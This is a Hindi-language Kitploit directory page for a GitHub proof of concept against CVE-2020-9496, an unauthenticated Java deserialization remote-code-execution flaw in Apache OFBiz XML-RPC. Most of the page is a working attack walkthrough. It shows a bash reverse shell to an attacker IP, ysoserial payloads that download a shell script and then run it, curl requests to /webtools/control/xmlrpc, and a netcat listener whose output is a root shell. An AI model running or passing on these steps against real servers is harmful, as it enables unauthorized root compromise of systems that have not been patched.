Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-9496 — CVE-2020-9496 के लिए मैन्युअल एक्सप्लॉइट: Apache OFBiz XML-RPC में एक बिना प्रमाणीकरण वाला Java डिसीरियलाइज़ेशन RCE, जिसमें पेलोड जनरेशन और रिवर्स शेल के लिए चरण-दर-चरण निर्देश शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/cyber-niz/cve-2020-9496
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

CVE-2020-9496 के लिए मैन्युअल एक्सप्लॉइट: Apache OFBiz XML-RPC में एक बिना प्रमाणीकरण वाला Java डिसीरियलाइज़ेशन RCE, जिसमें पेलोड जनरेशन और रिवर्स शेल के लिए चरण-दर-चरण निर्देश शामिल हैं।

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-9496 - RCE

क्योंकि webtools में xmlrpc और ping से संबंधित 2 अनुरोध प्रमाणीकरण का उपयोग नहीं करते हैं, वे असुरक्षित deserialization के प्रति संवेदनशील हैं। यह समस्या GitHub Security Lab टीम के Alvaro Munoz [email protected] द्वारा सुरक्षा टीम को सूचित की गई थी।

यह भेद्यता /webtools/control/xmlrpc पर भेजे गए अनुरोधों को संसाधित करते समय Java serialization समस्याओं के कारण मौजूद है। एक दूरस्थ बिना प्रमाणीकरण वाला हमलावर एक क्राफ्टेड अनुरोध भेजकर इस भेद्यता का फायदा उठा सकता है। सफल शोषण के परिणामस्वरूप मनमाना कोड निष्पादन (arbitrary code execution) होगा।

प्रभावित संस्करण 17.12.01

पैच किए गए संस्करण 18.12.01, 17.12.04

मूल ब्लॉग: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

इस POC को काम करने के लिए हमें एक shell script ड्रॉप करनी होगी और उस फ़ाइल को curl के माध्यम से execute/access करना होगा।

चरण 1: अपने IP Address और Port Address के साथ Bash One-liner वाली Shell फ़ाइल बनाएं।

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

चरण 2: अब हमें इस फ़ाइल को HTTP Service के माध्यम से उपलब्ध कराना होगा

root@kitploit:~
$ sudo python3 -m http.server 80

चरण 3: ysoserial के माध्यम से Payload जनरेट करें - IP बदलें

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

चरण 4: अपने Payload का आउटपुट कॉपी करें - बहुत लंबी स्ट्रिंग

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

चरण 5: अपने payload को execute करने के लिए नीचे दिए गए curl कमांड का उपयोग करें। extensions”> के बाद payload पेस्ट करें।

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

आपके संदर्भ के लिए Payload के बिना Curl कमांड

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Curl कमांड निष्पादन के बाद HTTP Server पर Hit मिला या नहीं, यह सुनिश्चित करें

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

जैसा कि आप देख सकते हैं, हमें अपने HTTP server पर hit मिला। फ़ाइल /tmp निर्देशिका में shell.sh नाम से डाउनलोड हो गई है। अब उस फ़ाइल को execute करने के लिए फिर से payload बनाएं। लेकिन ऐसा करने से पहले netcat listener शुरू करें।

चरण 6: NetCat Listener शुरू करें

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

चरण 7: पहले डाउनलोड की गई Shell Script को Execute करने के लिए Payload बनाएं

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

चरण 8: आउटपुट को Curl Command के अंदर कॉपी और पेस्ट करें और इसे Execute करें

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

चरण 10: Reverse Connection के लिए NetCat Listener जांचें

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
टूल डाउनलोड करें